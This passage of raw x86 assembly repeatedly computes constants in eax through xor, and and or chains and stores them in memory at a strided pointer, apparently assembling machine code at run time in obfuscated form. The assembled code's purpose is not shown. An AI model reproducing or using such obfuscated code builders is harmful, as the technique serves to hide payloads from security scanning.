mov dword [ebx], eax
add ebx, edx
xor eax, 0x757c55d3
and eax, 0x44099450
or eax, 0x1826805
mov dword [ebx], eax
add ebx, edx
and eax, 0x5196787
and eax, 0x1000000
or eax, 0xc083b8
mov dword [ebx], eax
add ebx, edx
and eax, 0x2687bb13
and eax, 0x800100
or eax, 0x8b384489
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7397f700
or eax, 0x14692c8b
and eax, 0xc0039c09
or eax, 0x1804044
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4c48e7b9
and eax, 0x8c490900
or eax, 0x50048001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x333de305
xor eax, 0x2860e352
and eax, 0x81100102
or eax, 0x8e85489
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5ea8c2b3
and eax, 0xd7501410
or eax, 0x28af0885
mov dword [ebx], eax
add ebx, edx
or eax, 0x7a3fe8f1
xor eax, 0x3f31c654
and eax, 0xc0440aa1
or eax, 0x2c01815e
mov dword [ebx], eax
add ebx, edx
and eax, 0xacf8b4e
and eax, 0x8008108
or eax, 0xf7180481
mov dword [ebx], eax
add ebx, edx
or eax, 0x2f963148
and eax, 0x72c77488
and eax, 0x40823488
or eax, 0xd09cb77
mov dword [ebx], eax
add ebx, edx
and eax, 0x3ab20eb8
and eax, 0x8002a8
or eax, 0x1418144
mov dword [ebx], eax
add ebx, edx
xor eax, 0x98c2da2
and eax, 0x84c0c08
or eax, 0x83a04181
mov dword [ebx], eax
add ebx, edx
and eax, 0xf203dba
and eax, 0xb200c80
or eax, 0xf4df1015
mov dword [ebx], eax
add ebx, edx
or eax, 0xe7ecb02
xor eax, 0x2dad5f31
and eax, 0x101000a6
or eax, 0x8853b59
mov dword [ebx], eax
add ebx, edx
or eax, 0x7082c8d
or eax, 0x24ffc24c
and eax, 0x3cffffff
or eax, 0x40000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75ea084a
and eax, 0x58314
or eax, 0xe0400808
mov dword [ebx], eax
add ebx, edx
xor eax, 0x37576566
and eax, 0x614d9fbd
and eax, 0x41000428
or eax, 0x34fc4103
mov dword [ebx], eax
add ebx, edx
and eax, 0x6c233a6f
and eax, 0x64000000
or eax, 0x804d8b14
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ecff644
and eax, 0x18000
or eax, 0x89006983
mov dword [ebx], eax
add ebx, edx
or eax, 0x13e36d58
and eax, 0x1183e449
or eax, 0x44080004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7b6c77fa
and eax, 0x2a3c267b
and eax, 0x240220
or eax, 0x558b0dc4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73207e8c
xor eax, 0x76c8b4e6
and eax, 0x50428580
or eax, 0x24900030
mov dword [ebx], eax
add ebx, edx
or eax, 0x738c7fee
and eax, 0x18ed7155
and eax, 0x10440100
or eax, 0xc4018a09
mov dword [ebx], eax
add ebx, edx
or eax, 0x66cfb2f2
and eax, 0x8001a883
or eax, 0x9004000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x14c4e6
and eax, 0x8010445
or eax, 0x26e8d000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4983edcf
xor eax, 0x7ceb8c16
and eax, 0x6a4853
or eax, 0x8b95b7a8
mov dword [ebx], eax
add ebx, edx
or eax, 0x7ccbf63d
xor eax, 0xca3d61f
and eax, 0xc1000840
or eax, 0x881000d
mov dword [ebx], eax
add ebx, edx
and eax, 0x16faf2bd
and eax, 8
or eax, 0x6542
mov dword [ebx], eax
add ebx, edx
or eax, 0x55a7a38f
and eax, 0x59c89404
and eax, 0x1008000
or eax, 0x260a6981
mov dword [ebx], eax
add ebx, edx
and eax, 0x1d366966
or eax, 0x5033fd4a
and eax, 0x51010000
or eax, 0xa0800000
mov dword [ebx], eax
add ebx, edx
and eax, 0x47b178e8
and eax, 0x657d0510
and eax, 0x41000000
or eax, 0x2742bb7
mov dword [ebx], eax
add ebx, edx
or eax, 0x755d5990
or eax, 0x30bea96d
and eax, 0x108518b
or eax, 0x80000400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x39917700
and eax, 0x810082
or eax, 0x424040
mov dword [ebx], eax
add ebx, edx
or eax, 0x327a3688
and eax, 0x32f20000
or eax, 0xc8008100
mov dword [ebx], eax
add ebx, edx
or eax, 0x655e47f2
and eax, 0x890000f2
or eax, 5
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7687ae7
and eax, 0
or eax, 0x10848a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1911a059
or eax, 0x3dfac778
and eax, 0x1143e000
or eax, 0x82000800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3709fd2d
and eax, 0x84480000
or eax, 0x1aa00000
mov dword [ebx], eax
add ebx, edx
or eax, 0x753ad741
and eax, 0x8b000000
or eax, 0x92
mov dword [ebx], eax
add ebx, edx
xor eax, 0x21fa6591
and eax, 0x88286401
or eax, 0x41059044
mov dword [ebx], eax
add ebx, edx
and eax, 0x22915ce0
and eax, 0
or eax, 0x8900008d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3bb66247
and eax, 0x826040
or eax, 0x4d099405
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4991724e
and eax, 0x21d9d44e
and eax, 0x80000
or eax, 0xf44503b4
mov dword [ebx], eax
add ebx, edx
and eax, 0x56b35366
or eax, 0x7c4dba1f
and eax, 0x68040909
or eax, 0x83b04480
mov dword [ebx], eax
add ebx, edx
xor eax, 0x55ce83c5
or eax, 0x517f2874
and eax, 0xb4558a08
or eax, 0x101
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5f19d4ce
or eax, 0x7ea410dd
and eax, 0x89004283
or eax, 0x18000
mov dword [ebx], eax
add ebx, edx
or eax, 0x19e5a722
xor eax, 0x59a304c5
and eax, 0x4002a044
or eax, 0x5891411
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4daa17d3
or eax, 0x14d4f232
and eax, 0xc4533b4
or eax, 0xe0000800
mov dword [ebx], eax
add ebx, edx
and eax, 0x40e0a54b
and eax, 0x6c6a46b1
and eax, 0
or eax, 0x1a28d0f
mov dword [ebx], eax
add ebx, edx
and eax, 0x5ba9d4fb
and eax, 0x5bede3b4
and eax, 0x1800000
or eax, 0x4c0b0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7d204951
and eax, 0x1000000
or eax, 0xc183f8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3c2a1408
and eax, 0x3aed2ecb
and eax, 0x8e80480
or eax, 0x83104909
mov dword [ebx], eax
add ebx, edx
and eax, 0x20b7e0d1
and eax, 0x304001
or eax, 0x550b8054
mov dword [ebx], eax
add ebx, edx
and eax, 0x7142d5ff
and eax, 0x95cf6e0
and eax, 0x1004000
or eax, 0xc6093dbc
mov dword [ebx], eax
add ebx, edx
or eax, 0x58040da2
and eax, 0x11404
or eax, 0x8041
mov dword [ebx], eax
add ebx, edx
or eax, 0x379a43dc
and eax, 0x1576f34e
and eax, 0x5020000
or eax, 0x2e90000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2f5d68e7
or eax, 0xa2f2a8a
and eax, 0x40082
or eax, 0x904545
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6adf09a1
xor eax, 0x460ac176
and eax, 0x8000000
or eax, 0x83000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x204ae6e6
and eax, 0
or eax, 0xe883fc45
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4f8ddc27
or eax, 0x53e361c1
and eax, 0xf4450101
or eax, 0x8008800
mov dword [ebx], eax
add ebx, edx
and eax, 0x76a4cf1b
and eax, 0x30040901
or eax, 0x3f8448a
mov dword [ebx], eax
add ebx, edx
and eax, 0x5588c5eb
and eax, 0x409
or eax, 0x8759044
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2ab8f28
and eax, 0x2d41101
or eax, 0x3100448a
mov dword [ebx], eax
add ebx, edx
or eax, 0x4e67ac86
and eax, 0x6a74d005
or eax, 0x50
mov dword [ebx], eax
add ebx, edx
or eax, 0x265a463
or eax, 0x3c0a8d9d
and eax, 0x3270458b
or eax, 0x1800000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x587f7de4
or eax, 0x1ff19b38
and eax, 0x453b9045
or eax, 0x4000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c973507
and eax, 0x9167444
or eax, 0x824008b8
mov dword [ebx], eax
add ebx, edx
and eax, 0x7c5c12cd
xor eax, 0x579ec171
and eax, 0x4182c00d
or eax, 0x80012840
mov dword [ebx], eax
add ebx, edx
and eax, 0x557a1a31
or eax, 0x2d08f0e1
and eax, 0x68088801
or eax, 0x80450100
mov dword [ebx], eax
add ebx, edx
or eax, 0x15db271c
xor eax, 0x6860be7a
and eax, 0x1981103
or eax, 0xa404488
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ed307ee
and eax, 0x51b4045
or eax, 0x5020a810
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2db98557
xor eax, 0x168c0c57
and eax, 0xa026044
or eax, 0x81401c88
mov dword [ebx], eax
add ebx, edx
and eax, 0x26a11da6
and eax, 0x804
or eax, 0x8589c041
mov dword [ebx], eax
add ebx, edx
or eax, 0x6cf83654
and eax, 0xedf9fe14
or eax, 0x12060100
mov dword [ebx], eax
add ebx, edx
or eax, 0x127bba8b
and eax, 0x89fc4d8b
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x118876dc
and eax, 0x99fc108d
or eax, 0x66030000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x56319920
and eax, 0xa84489ad
or eax, 0x54110252
mov dword [ebx], eax
add ebx, edx
or eax, 0x6157c280
and eax, 0x2c167bca
and eax, 0x8004a82
or eax, 0x8101a001
mov dword [ebx], eax
add ebx, edx
or eax, 0x578631ea
and eax, 0x8583f841
or eax, 0x80414
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1328822f
and eax, 0x96a37e10
or eax, 0x695c8104
mov dword [ebx], eax
add ebx, edx
and eax, 0x789c562e
and eax, 0x78100400
or eax, 0x8700813b
mov dword [ebx], eax
add ebx, edx
or eax, 0x7c701664
and eax, 0x1970977f
or eax, 0xc6880
mov dword [ebx], eax
add ebx, edx
and eax, 0x31645545
and eax, 0x11204501
or eax, 0x2a90088a
mov dword [ebx], eax
add ebx, edx
or eax, 0x509d3a55
or eax, 0x1e4ad01
and eax, 0x1a7db84d
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x46b3af61
and eax, 0x2e41509
or eax, 0x81004082
mov dword [ebx], eax
add ebx, edx
and eax, 0x29439ae
xor eax, 0x610ea04
and eax, 0x4800182
or eax, 0x51090040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x123c00b9
and eax, 0x44050160
or eax, 0x88408a84
mov dword [ebx], eax
add ebx, edx
and eax, 0x71a4a3f8
or eax, 0x4ee0b3e0
and eax, 0x4ce40120
or eax, 0x3100441b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f139e9b
and eax, 0x40458b00
or eax, 0xa8080009
mov dword [ebx], eax
add ebx, edx
and eax, 0x7c068183
xor eax, 0xffa4036
and eax, 0x100c103
or eax, 0x88012880
mov dword [ebx], eax
add ebx, edx
and eax, 0x63039deb
and eax, 0x75932450
and eax, 0x1010000
or eax, 0x548ae84d
mov dword [ebx], eax
add ebx, edx
or eax, 0x3c5229dd
and eax, 0x7c5129c8
or eax, 0x80041200
mov dword [ebx], eax
add ebx, edx
or eax, 0xf42c408
and eax, 0x45030b48
or eax, 0x880034
mov dword [ebx], eax
add ebx, edx
or eax, 0x6b4ceee5
and eax, 0x458f0fd4
or eax, 0x200000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x690fc410
and eax, 0x24808180
or eax, 0x50400430
mov dword [ebx], eax
add ebx, edx
xor eax, 0x40da72ed
and eax, 0x4088309
or eax, 0xc0450820
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1ccac80b
or eax, 0x1c4a84e1
and eax, 0x5ccc4523
or eax, 0x21000818
mov dword [ebx], eax
add ebx, edx
and eax, 0x741d90d6
and eax, 0x10040000
or eax, 0x8041c709
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ccc1724
and eax, 1
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f14c607
xor eax, 0x6b868147
and eax, 0x44820741
or eax, 0x14500aa
mov dword [ebx], eax
add ebx, edx
or eax, 0x7e97f40d
or eax, 0xd86b66c
and eax, 0x80
or eax, 0x10
mov dword [ebx], eax
add ebx, edx
and eax, 0xefd571c
and eax, 0
or eax, 0xb8558b00
mov dword [ebx], eax
add ebx, edx
or eax, 0x78463a47
and eax, 0xfa42e27
and eax, 3
or eax, 0x74905520
mov dword [ebx], eax
add ebx, edx
xor eax, 0x360e20e0
or eax, 0x7f16ffdc
and eax, 0x74048b09
or eax, 0x80410000
mov dword [ebx], eax
add ebx, edx
and eax, 0x41301f47
and eax, 0x24681a69
and eax, 1
or eax, 0x8901c082
mov dword [ebx], eax
add ebx, edx
and eax, 0x29f377b2
and eax, 0xdc0871d
and eax, 0x9000000
or eax, 0x448bf445
mov dword [ebx], eax
add ebx, edx
or eax, 0x6afe824f
xor eax, 0x5e30639a
and eax, 0x1c181d4
or eax, 0x228
mov dword [ebx], eax
add ebx, edx
or eax, 0x4323458c
and eax, 0x3e04588
or eax, 0x881c0801
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e656918
or eax, 0x7a1a8131
and eax, 0x5002c011
or eax, 0x5011044
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73947911
and eax, 0x152944
or eax, 0xc0401288
mov dword [ebx], eax
add ebx, edx
or eax, 0x4dc5552e
or eax, 0x1d6c446e
and eax, 0x45894a6c
or eax, 0x20011
mov dword [ebx], eax
add ebx, edx
or eax, 0x680cb779
and eax, 0xc85897c
or eax, 0x80
mov dword [ebx], eax
add ebx, edx
and eax, 0x5a19c280
and eax, 0x6f232e9b
and eax, 0x8010080
or eax, 0x83feff7f
mov dword [ebx], eax
add ebx, edx
and eax, 0x1b400c8b
or eax, 0x55600ca3
and eax, 0xd000809
or eax, 0x8089f044
mov dword [ebx], eax
add ebx, edx
or eax, 0x946af2
and eax, 0x8d9dfa08
or eax, 0x72620500
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ae12d5a
and eax, 0x811c5002
or eax, 0x2e00589
mov dword [ebx], eax
add ebx, edx
and eax, 0x65172bb3
xor eax, 0x6a86febb
and eax, 0x41800100
or eax, 0x140900c2
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3f22314a
and eax, 0x8810088
or eax, 0x4048b74
mov dword [ebx], eax
add ebx, edx
and eax, 0x79596476
and eax, 0x8010074
or eax, 0x33feff8b
mov dword [ebx], eax
add ebx, edx
and eax, 0xe2a4d88
and eax, 0xa2a0880
or eax, 0xf5d50005
mov dword [ebx], eax
add ebx, edx
and eax, 0x27ebabaa
and eax, 0x7090880
or eax, 0xc000757f
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c78f2
and eax, 0x69d22d52
and eax, 0xc40
or eax, 0x18005
mov dword [ebx], eax
add ebx, edx
and eax, 0x317cbdd8
and eax, 0
or eax, 0x7eb0000
mov dword [ebx], eax
add ebx, edx
or eax, 0x486824ab
and eax, 0x1eb2fc3a
and eax, 0x800402
or eax, 0xc41c5
mov dword [ebx], eax
add ebx, edx
or eax, 0x5e9bdf24
and eax, 0x74c79cef
and eax, 0
or eax, 0x8b000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x42b89a68
xor eax, 0x3c0dfcbc
and eax, 0xc1814044
or eax, 0x29809
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f78d0bf
xor eax, 0x744741a1
and eax, 0x880c8900
or eax, 0x50410001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1d8acd22
and eax, 0x1c04403
or eax, 0xa181188
mov dword [ebx], eax
add ebx, edx
or eax, 0x7a0931f6
and eax, 0xb510455
or eax, 0x248800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x63884ae0
and eax, 0x28d44481
or eax, 0x300010a
mov dword [ebx], eax
add ebx, edx
or eax, 0x3517401c
and eax, 0x8825a9
and eax, 1
or eax, 0x453bf044
mov dword [ebx], eax
add ebx, edx
and eax, 0x540a3ad0
and eax, 0x23000
or eax, 0x8b404db0
mov dword [ebx], eax
add ebx, edx
and eax, 0x46a8f547
and eax, 0x5400
or eax, 0x4d2b884d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x395de08
or eax, 0x784b06af
and eax, 0x48d00e8
or eax, 0x8910
mov dword [ebx], eax
add ebx, edx
and eax, 0x4615fb34
and eax, 0x66d2c0c4
and eax, 0x8000
or eax, 0x8bff7fff
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1faa946d
and eax, 0x80014810
or eax, 0x6a829445
mov dword [ebx], eax
add ebx, edx
xor eax, 0x339c8a65
xor eax, 0x63e0d4d6
and eax, 0x98558000
or eax, 0x44000901
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7ff23842
or eax, 0xef27cf1
and eax, 0xaf04bd83
or eax, 0x50000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x40b3fc9f
and eax, 0x20fe5b78
and eax, 0x20005918
or eax, 0x5500a6e7
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1cc2c327
xor eax, 0x18c61e22
and eax, 0x5004021a
or eax, 0x80418901
mov dword [ebx], eax
add ebx, edx
and eax, 0x2c3201ca
xor eax, 0x5e616935
and eax, 0x5c20403b
or eax, 0x209c0500
mov dword [ebx], eax
add ebx, edx
or eax, 0x58205b03
xor eax, 0x15342bdd
and eax, 0x48080002
or eax, 0x90458b11
mov dword [ebx], eax
add ebx, edx
and eax, 0x654472b2
and eax, 0x40400012
or eax, 0x3d804d29
mov dword [ebx], eax
add ebx, edx
and eax, 0xb14c2b1
and eax, 0x10
or eax, 0xf0558b04
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2e4f9420
and eax, 0x5a79cef
and eax, 0x1420
or eax, 0x3bfc410b
mov dword [ebx], eax
add ebx, edx
or eax, 0x197a917b
and eax, 0x97c9051
or eax, 0x12804
mov dword [ebx], eax
add ebx, edx
or eax, 0x5340249e
and eax, 0x5c2d67f9
and eax, 0x280489
or eax, 0x83c04102
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1e99cc31
and eax, 0x5010180
or eax, 0x40880040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f082bee
and eax, 0x40010a28
or eax, 0x804c81c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x567ab474
and eax, 0x7661883e
and eax, 0x18000
or eax, 0x89004183
mov dword [ebx], eax
add ebx, edx
or eax, 0x7d3e34e9
xor eax, 0x4b23b4a0
and eax, 0x14084049
or eax, 0x41838004
mov dword [ebx], eax
add ebx, edx
and eax, 0x20e2978a
xor eax, 0x2dc85b1
and eax, 0x4a0198
or eax, 0x1a08240
mov dword [ebx], eax
add ebx, edx
and eax, 0x42ec9e15
and eax, 0xc80000
or eax, 0xe9105589
mov dword [ebx], eax
add ebx, edx
and eax, 0x21b48cc1
xor eax, 0x3137524e
and eax, 0x10a75649
or eax, 0xef58a800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x26bc6ff9
and eax, 0x9400180
or eax, 0x24a0440b
mov dword [ebx], eax
add ebx, edx
or eax, 0x68cc9064
and eax, 0x104b
or eax, 0x10a00
mov dword [ebx], eax
add ebx, edx
or eax, 0x17f4741a
and eax, 0x3e04409
or eax, 0x88000180
mov dword [ebx], eax
add ebx, edx
and eax, 0x63312a4b
and eax, 0x1200009
or eax, 0x4c0bc444
mov dword [ebx], eax
add ebx, edx
xor eax, 0xfe5277d
and eax, 0x404c8120
or eax, 0x840108c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7e00228b
and eax, 0x1009096b
or eax, 0x45820080
mov dword [ebx], eax
add ebx, edx
and eax, 0x1193acb2
and eax, 0x6a2359ad
and eax, 0x20080
or eax, 0x1c08344
mov dword [ebx], eax
add ebx, edx
or eax, 0x2264c1b7
and eax, 0x3c44181
or eax, 0x88001408
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4b7280df
and eax, 0x4032c444
or eax, 0x5090001
mov dword [ebx], eax
add ebx, edx
and eax, 0x2aa9c584
and eax, 0x90400
or eax, 0x61840bc8
mov dword [ebx], eax
add ebx, edx
or eax, 0x70e04ab
and eax, 0x3000001
or eax, 0x88000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x72e9c310
and eax, 0
or eax, 0xc183f84d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7306297e
and eax, 0xb0058101
or eax, 0x48480800
mov dword [ebx], eax
add ebx, edx
or eax, 0x72272f43
and eax, 0x82600503
or eax, 0x1905088
mov dword [ebx], eax
add ebx, edx
and eax, 0xfd38230
and eax, 0x1800000
or eax, 0x540901c2
mov dword [ebx], eax
add ebx, edx
and eax, 0x69ab198e
or eax, 0x6e7885d9
and eax, 0x684181d0
or eax, 0x90040a20
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3048e94e
or eax, 0x4875833c
and eax, 0x486c413a
or eax, 0x35800401
mov dword [ebx], eax
add ebx, edx
and eax, 0x33557e70
and eax, 0x20440010
or eax, 0xc8098b08
mov dword [ebx], eax
add ebx, edx
and eax, 0x19d20826
and eax, 0x672643ee
and eax, 0
or eax, 0x74d44d33
mov dword [ebx], eax
add ebx, edx
and eax, 0x166a66aa
and eax, 0x10400000
or eax, 0xa0158b10
mov dword [ebx], eax
add ebx, edx
or eax, 0x6f95cc87
and eax, 0x4ec49a97
and eax, 0x44c40003
or eax, 0x30305528
mov dword [ebx], eax
add ebx, edx
or eax, 0x9779b10
and eax, 0x3c458b08
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75c9f92d
and eax, 0x41884021
or eax, 0x3450050a
mov dword [ebx], eax
add ebx, edx
or eax, 0x6e0d7b1e
and eax, 0x5c4d0b08
or eax, 0x80008000
mov dword [ebx], eax
add ebx, edx
or eax, 0x63105c70
and eax, 0x7d404d38
or eax, 0x800003
mov dword [ebx], eax
add ebx, edx
and eax, 0x13e168ae
and eax, 0x446e6401
and eax, 0x400000
or eax, 0xb8158b1a
mov dword [ebx], eax
add ebx, edx
and eax, 0x71157930
and eax, 0x10800
or eax, 0x8900e283
mov dword [ebx], eax
add ebx, edx
and eax, 0x11eee86d
xor eax, 0x365faf60
and eax, 0x50b0041
or eax, 0x4080b814
mov dword [ebx], eax
add ebx, edx
and eax, 0x178d183a
and eax, 0x11810
or eax, 0xb84423e8
mov dword [ebx], eax
add ebx, edx
and eax, 0x139c52d8
and eax, 0x58
or eax, 0x4d8b0925
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c89e333
and eax, 0x181836c
or eax, 0x400080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x235664a2
and eax, 0x499bdca0
and eax, 0x804400
or eax, 0x8b6c0989
mov dword [ebx], eax
add ebx, edx
and eax, 0xc008727
and eax, 0x401
or eax, 0xc283d054
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ddc5eb3
and eax, 0x40000001
or eax, 0x94558900
mov dword [ebx], eax
add ebx, edx
or eax, 0xf77b678
and eax, 0x89340509
or eax, 0x884082
mov dword [ebx], eax
add ebx, edx
or eax, 0x578528ad
and eax, 0xdfbd0085
or eax, 0x20420000
mov dword [ebx], eax
add ebx, edx
or eax, 0x18e12bc5
xor eax, 0x1fe9ae1b
and eax, 0xe00481de
or eax, 0xc490a21
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c332844
and eax, 0xfc7c8989
or eax, 0x2800400
mov dword [ebx], eax
add ebx, edx
and eax, 0x14132b98
xor eax, 0x3762f92e
and eax, 0x102f0a6
or eax, 0x54890f59
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5dee385
and eax, 0x400038
or eax, 0x1aa8384
mov dword [ebx], eax
add ebx, edx
and eax, 0x713c1733
or eax, 0x4c33540a
and eax, 0x9385508
or eax, 0x82840081
mov dword [ebx], eax
add ebx, edx
xor eax, 0xfd003e2
and eax, 0x846c0001
or eax, 0x7b930084
mov dword [ebx], eax
add ebx, edx
and eax, 0x58235b3c
and eax, 0x58010004
or eax, 0xa4843bfb
mov dword [ebx], eax
add ebx, edx
or eax, 0x454ea01d
xor eax, 0x7ac10eeb
and eax, 0x50eb514
or eax, 0x78f14aea
mov dword [ebx], eax
add ebx, edx
and eax, 0x212b639b
and eax, 0x660ae185
and eax, 0x80100
or eax, 0xd4458a14
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3ca20b42
and eax, 0x28cc0002
or eax, 0x13004d21
mov dword [ebx], eax
add ebx, edx
and eax, 0x77ed8c0
xor eax, 0x58af3953
and eax, 0x9616041
or eax, 0x1c840c
mov dword [ebx], eax
add ebx, edx
or eax, 0x266e4464
and eax, 0x33c4409
or eax, 0x80801182
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5f4c6edd
and eax, 0x54800142
or eax, 0x10900a8
mov dword [ebx], eax
add ebx, edx
or eax, 0x130c25b2
xor eax, 0x492d3008
and eax, 0x180001b0
or eax, 0xc0458a0c
mov dword [ebx], eax
add ebx, edx
or eax, 0x79df5c56
xor eax, 0x2100d585
and eax, 0x88010803
or eax, 0x100e080
mov dword [ebx], eax
add ebx, edx
or eax, 0x3cb16f60
and eax, 0xd81c841
or eax, 0x400a1004
mov dword [ebx], eax
add ebx, edx
or eax, 0x3302deae
and eax, 0x588fe815
and eax, 0x898000
or eax, 0x16003c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x43197d73
or eax, 0x40a027f5
and eax, 0x1800581
or eax, 0x8a404808
mov dword [ebx], eax
add ebx, edx
xor eax, 0x42909baa
and eax, 0x607399a3
and eax, 0x40008001
or eax, 0xaa836054
mov dword [ebx], eax
add ebx, edx
or eax, 0x69576c34
and eax, 0xe0558801
or eax, 0x100
mov dword [ebx], eax
add ebx, edx
or eax, 0x636b2095
and eax, 0x83680181
or eax, 0x80440a
mov dword [ebx], eax
add ebx, edx
or eax, 0x62962676
and eax, 0x418801e8
or eax, 0x4010000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2508760d
xor eax, 0x4a503531
and eax, 0x48480128
or eax, 0xb0058ac0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6fe69ca1
xor eax, 0x4bf24f49
and eax, 0x88014800
or eax, 0x100a183
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ac0c37d
and eax, 0x4181284c
or eax, 0x140ad001
mov dword [ebx], eax
add ebx, edx
or eax, 0x72cc8419
or eax, 0x36b39673
and eax, 0x70553a54
or eax, 0x88000180
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d02c2fb
and eax, 0x503292c
or eax, 0x40880250
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6b570050
and eax, 0x1785da5d
and eax, 0x4040a0c
or eax, 0xe04131b0
mov dword [ebx], eax
add ebx, edx
or eax, 0x2de7d4c0
and eax, 0x45c7097c
or eax, 1
mov dword [ebx], eax
add ebx, edx
or eax, 0x5e6938eb
or eax, 0x6f1758e8
and eax, 0x188
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x20e5de91
xor eax, 0x5c9d050f
and eax, 0x44050100
or eax, 0x8302ea00
mov dword [ebx], eax
add ebx, edx
and eax, 0x120530bd
and eax, 0x3d94d07
and eax, 0
or eax, 0x8845
mov dword [ebx], eax
add ebx, edx
or eax, 0x368289d9
or eax, 0x609aba26
and eax, 0x448a0000
or eax, 0x9010000
mov dword [ebx], eax
add ebx, edx
or eax, 0x368783e2
xor eax, 0x11570c59
and eax, 0x84803a0
or eax, 0x80052040
mov dword [ebx], eax
add ebx, edx
or eax, 0x3830dd7e
and eax, 0x10090b74
or eax, 0x45820001
mov dword [ebx], eax
add ebx, edx
or eax, 0x5740b571
or eax, 0x290ad15
and eax, 0x54513364
or eax, 0xa8040080
mov dword [ebx], eax
add ebx, edx
and eax, 0x476184ad
and eax, 0x44400020
or eax, 0x39b4551b
mov dword [ebx], eax
add ebx, edx
and eax, 0x614f9957
and eax, 0x3183f7ab
and eax, 0x20000102
or eax, 0xd4458a60
mov dword [ebx], eax
add ebx, edx
or eax, 0x601c4e39
and eax, 0x74504503
or eax, 0xa00000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2eceb6e1
and eax, 0x580c8320
or eax, 0xa4410819
mov dword [ebx], eax
add ebx, edx
and eax, 0x21502feb
or eax, 0x1566a515
and eax, 0x34600d21
or eax, 0x40984002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4a0ceee7
and eax, 0x10548300
or eax, 0xc0010831
mov dword [ebx], eax
add ebx, edx
or eax, 0x62048ee6
xor eax, 0x56a2c8cf
and eax, 0x80014200
or eax, 0x900a883
mov dword [ebx], eax
add ebx, edx
or eax, 0x19115f02
or eax, 0x426db612
and eax, 0x4109d011
or eax, 0x4820044
mov dword [ebx], eax
add ebx, edx
and eax, 0x667261b0
and eax, 0x44000010
or eax, 0x98453bc0
mov dword [ebx], eax
add ebx, edx
or eax, 0x62fb9c0a
and eax, 0xbf5a0b7
and eax, 0xc50010
or eax, 0x4502096d
mov dword [ebx], eax
add ebx, edx
and eax, 0x2169ab24
xor eax, 0x390e38ae
and eax, 0x180
or eax, 4
mov dword [ebx], eax
add ebx, edx
and eax, 0x1b6de7bc
xor eax, 0x7d07271f
and eax, 0x45072200
or eax, 0x8200c900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1da4898b
and eax, 1
or eax, 0x8444
mov dword [ebx], eax
add ebx, edx
and eax, 0x64528ed8
and eax, 0
or eax, 0x4d8b0000
